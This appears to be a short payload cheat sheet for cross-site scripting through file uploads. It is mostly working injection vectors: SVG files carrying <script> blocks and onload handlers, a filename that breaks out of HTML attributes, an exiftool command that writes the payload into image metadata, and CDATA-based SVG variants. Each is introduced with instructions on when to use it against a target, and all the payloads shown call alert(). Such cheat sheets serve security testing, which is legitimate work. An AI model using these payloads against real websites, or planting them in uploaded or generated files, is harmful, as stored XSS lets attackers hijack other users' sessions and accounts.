💉File Upload HTML Injection

Stored XSS through SVG

Which when loaded will trigger the XSS payload marked above. Any SVG file can contain javascript code, but to execute it you have to be able to access the file directly via either writing it to the page or visiting the SVG file directly. Embedding it in e.g. an img tag will not work

<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">
  <circle cx="50" cy="50" r="48" fill="none" stroke="#000"/>
  <path d="M50,2a48,48 0 1 1 0,96a24 24 0 1 1 0-48a24 24 0 1 0 0-48"/>
  <circle cx="50" cy="26" r="6"/>
  <circle cx="50" cy="74" r="6" fill="#FFF"/>
  ***<script>alert("XSS through SVG");</script>***
</svg>

----------------------------------------------------------------

File Upload HTML Injection – Filename

Use when the uploaded filename is reflected somewhere on the target page. It usually leads to Self XSS scenarios though.

--------------------------------------------------------------------
"><svg onload=alert(1)>.gif
--------------------------------------------------------------------

----------------------------------------------------------------

File Upload HTML Injection – Metadata

Use when metadata of the uploaded file is reflected somewhere on the target page. It uses command-line exiftool (“$” is the terminal prompt) and any metadata field can be set.

--------------------------------------------------------------------
$ exiftool -Artist='"><svg onload=alert(1)>' xss.jpeg
--------------------------------------------------------------------

----------------------------------------------------------------

File Upload Injection – SVG File

Use to create a stored XSS on target when uploading image files. Save the content below as “xss.svg”.

--------------------------------------------------------------------
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>
--------------------------------------------------------------------

----------------------------------------------------------------

File Upload HTML Injection – SVG File

Use when metadata of the uploaded file is reflected somewhere on the target page. It uses command-line exiftool (“$” is the terminal prompt) and any metadata field can be set.

--------------------------------------------------------------------
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>
--------------------------------------------------------------------
Online Version With Image for Validation
https://brutelogic.com.br/brute.svg

----------------------------------------------------------------

XSS in SVG

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
  <script type="text/javascript">
    alert(document.domain);
  </script>
</svg>

----------------------------------------------------------------

XSS in SVG (short)

<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>

<svg><desc><![CDATA[</desc><script>alert(1)</script>]]></svg>
<svg><foreignObject><![CDATA[</foreignObject><script>alert(2)</script>]]></svg>
<svg><title><![CDATA[</title><script>alert(3)</script>]]></svg>